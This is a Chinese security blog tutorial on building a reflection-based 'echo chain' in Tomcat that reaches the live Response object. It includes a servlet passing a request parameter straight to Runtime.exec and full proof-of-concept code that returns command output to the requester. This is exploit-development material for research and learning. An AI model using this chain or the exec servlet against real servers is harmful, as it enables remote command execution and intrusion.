Java安全之基于Tomcat的通用回显链

Java安全之基于Tomcat的通用回显链

写在前面

首先看这篇文还是建议简单了解下Tomcat中的一些概念，不然看起来会比较吃力。其次是回顾下反射中有关Field类的一些操作。

* Field[] getFields() ：获取所有public修饰的成员变量
* Field getField(String name)   获取指定名称的 public修饰的成员变量

* Field[] getDeclaredFields()  获取所有的成员变量，不考虑修饰符
* Field getDeclaredField(String name)
 Field：成员变量
	* 操作：
		1. 设置值
			* void set(Object obj, Object value)
		2. 获取值
			* get(Object obj) 

		3. 忽略访问权限修饰符的安全检查
			* setAccessible(true):暴力反射

getField和getDeclaredField区别：
getField
获取一个类的 ==public成员变量，包括基类== 。
getDeclaredField
获取一个类的 ==所有成员变量，不包括基类== 。

Tomcat 通用回显

是Litch1师傅提出的一个思路，通过找Tomcat中全局存储的request或response对象，进而挖掘出一种在Tomcat下可以通杀的回显链。依据师傅的文章进行调试。

调试前先解决一个问题，普通的一个命令执行是如何进行回显的。

代码如下：整体流程就是通过request对象拿到我们要执行的命令，并作为参数带到执行命令的方法中，将命令结果作为InputStream，通过response对象resp.getWriter().write()方法输出命令执行的结果，从而在页面获得回显。

@WebServlet("/HXServlet")
public class HXServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String cmd = req.getParameter("cmd");
        InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
        BufferedInputStream bis = new BufferedInputStream(is);
        int len;
        while ((len = bis.read())!=-1){
            resp.getWriter().write(len);
        }

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doGet(req,resp);

    }
}

调试分析

那么在回显链中也就需要我们拿到response对象。

如果需要找一个全局存储的request或response对象，那就要在底层看Tomcat处理request或response对象的流程。

这里起了一个Tomcat9.0.24做测试，debug后观察调用栈，进入文章中提到的Http11Processor类

在该类的父类AbstractProcessor中，存在request和response对象，并且是final修饰的，那么就不可以被直接修改，且该request和response符合我们的预期，我们可以通过这里的request和response对象构造回显。

接下来就是往前寻找这个类在什么地方进行初始化的，这样拿到Http11Processor对象就可以获取到request和response对象了。

在 AbstractProtocol$ConnectionHandler (org.apache.coyote)中发现已经生成了Http1Processor对象

register方法中处理如下：最终是将一个RequestGroupInfo对象放到了AbstractProtocol的内部类ConnectionHandler中的global属性

而RequestGroupInfo存储了一个RequestInfo的List在RequestInfo中就包含了Request对象，那么可以通过Request对象来拿到我们最终的Response (Request.getResponse())。

调用流程如下：

AbstractProtocol$ConnectoinHandler------->global-------->RequestInfo------->Request-------->Response。

后面就是要找有没有地方有存储AbstractProtocol(继承AbstractProtocol的类)。发现在CoyoteAdapter类中的connector属性有很多处理Request的操作，跟进查看后Connector中存在ProtocolHandler类型的Field，而ProtocolHandler的实现类中就存在AbstractProtocol

而在Tomcat启动过程红会将Connector放入Service中，这里的Service为StandardService。

所以调用链变为

StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。

而获取StandardService就变成了现在的关键，文中给出的是通过线程上下文类加载器，WebappClassLoaderBase

Thread类中有getContextClassLoader()和setContextClassLoader(ClassLoader cl)方法用来获取和设置上下文类加载器，如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器，那么线程将继承父线程的上下文类加载器，如果在应用程序的全局范围内都没有设置的话，那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为WebAppClassLoader（在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。

最后的调用链为

WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。

回显链构造与分析

先放上代码

import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.List;

@WebServlet("/demo")
public class TomcatEcho extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        /*
        WebappClassLoaderBase ---> ApplicationContext(getResources().getContext()) ---> StandardService--->Connector--->
        --->AbstractProtocol$ConnectoinHandler--->RequestGroupInfo(global)--->RequestInfo------->Request-------->Response。
         */
        //0x01 首先通过WebappClassLoaderBase来拿到StandardContext上下文
        org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

        try {
            //0x02 反射获取ApplicationContext上下文。抛出疑问1：为什么要拿这个上下文？
            Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);

            //0x03 反射获取StandardService类型的属性service的值
            Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            service.setAccessible(true);
            org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);

            //0x04 反射获取StandardService中的Connectors数组
            Field connectors = standardService.getClass().getDeclaredField("connectors");
            connectors.setAccessible(true);
            Connector[] connector = (Connector[]) connectors.get(standardService);

            //0x04 反射获取protocolHandler，为后续获取RequestGroupInfo数组作准备
            Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
            protocolHandler.setAccessible(true);

            //0x05 反射获取AbstractProtocol list。抛出疑问2：为什么要用getDeclaredClasses()？
            Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();

            //这里的classes数组为内置类，AbstractProtocol有两个内置类：ConnectionHandler、RecycledProcessors，我们需要的是ConnectionHandler
            for (Class<?> declaredClass : declaredClasses) {
                //通过全限定类名长度筛选出ConnectionHandler
                if (declaredClass.getName().length()==52){

                    // 0x06 获取getHandler方法，为后续获取global属性值：RequestGroupInfo数组作准备
                    java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
                    getHandler.setAccessible(true);

                    // 0x07 反射获取global属性值：RequestGroupInfo数组
                    Field global = declaredClass.getDeclaredField("global");
                    global.setAccessible(true);
                    org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null));

                    // 0x08 反射获取RequestGroupInfo中processors，该属性值为元素类型为RequestInfo的List数组
                    Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                    processors.setAccessible(true);
                    java.util.List<org.apache.coyote.RequestInfo>  requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo);

                    // 0x09 反射获取RequestInfo中的org.apache.coyote.Request类
                    Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                    req1.setAccessible(true);

                    // 0x10 遍历RequestGroupInfo中processors的属性值，寻找需要的Request对象
                    for (RequestInfo info : requestInfo) {

                        org.apache.coyote.Request request = (Request) req1.get(info);
                        // 0x11 通过getNote()方法获取org.apache.catalina.connector.Request对象。抛出问题3：为什么要用org.apache.catalina.connector.Request对象？抛出问题4：为什么要用getNote方法获取？
                        org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);

                        // 0x12 拿到response对象，回显链构造完毕
                        org.apache.catalina.connector.Response response = request1.getResponse();
                        response.getWriter().write("123");

                    }

                }

            }

        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException | ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        this.doGet(req, resp);
    }

}

贴个回显命令执行结果的图庆祝一下

踩坑记录

下面对构造回显链的poc时的坑点以及疑问做一下记录：

1. 反射：关于反射之前没有仔细学习Field类的相关方法，上面构造时经常要用到获取某个类中某个属性的值，以StandarService举例，代码如下：获取到Field对象之后需要调用field.get(context)来拿到对应属性的值

   Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
   service.setAccessible(true);
   org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
   

2. 关于回显链代码中出现的两个上下文：StandardContext和ApplicationContext

   首先我们通过webappClassLoaderBase.getResources().getContext()拿到的是StandardContext但是这还不够，回显链的入口点为StandardService，而在StandardContext上下文中是没有保存StandardService的，需要先获取`StandardContext成员变量ApplicationContext进而获取Service。这点观察源码就可以发现。

   在Servlet中ServletContext表示web应用的上下文环境，而对应在tomcat中，ServletContext对应tomcat实现是org.apache.catalina.core.ApplicationContext，Context容器对应tomcat实现是org.apache.catalina.core.StandardContext。ApplicationContext是StandardContext的一个成员变量。

1. 反射获取AbstractProtocol为什么要用getDeclaredClasses()

   因为这里要获取内部类ConnectionHandler，所以需要用到getDeclaredClasses()方法

   获取内部类 getDeclaredClasses()
   
   获取外部类 getDeclaringClass()

2. 最后为什么用org.apache.catalina.connector.Request对象来获取Response

   org.apache.coyote.Request request = (Request) req1.get(info);
                           // 0x11 通过getNote()方法获取org.apache.catalina.connector.Request对象。抛出问题3：为什么要用org.apache.catalina.connector.Request对象？抛出问题4：为什么要用getNote方法获取？
                           org.apache.catalina.connector.Request request1
   

   这里org.apache.coyote.Request确实有getResponse方法，也能拿到Response对象，但是看一下org.apache.coyote.Response代码和 org.apache.catalina.connector.Response区别：

   org.apache.coyote.Response没有实现HttpServletResponse接口，也没有getWriter()等方法帮我们制造回显，所以没选择用它。

1. 关于Request对象哪里的的getNote()方法

   获取到Request需要调用request.getNote(1);转换为org.apache.catalina.connector.Request的对象。

   这个方法是在org.apache.coyote.Request中定义的，详细解读可参考：https://segmentfault.com/a/1190000022261740

   通过调用 org.apache.coyote.Request#getNote(ADAPTER_NOTES) 和 org.apache.coyote.Response#getNote(ADAPTER_NOTES) 来获取 org.apache.catalina.connector.Request 和 org.apache.catalina.connector.Response 对象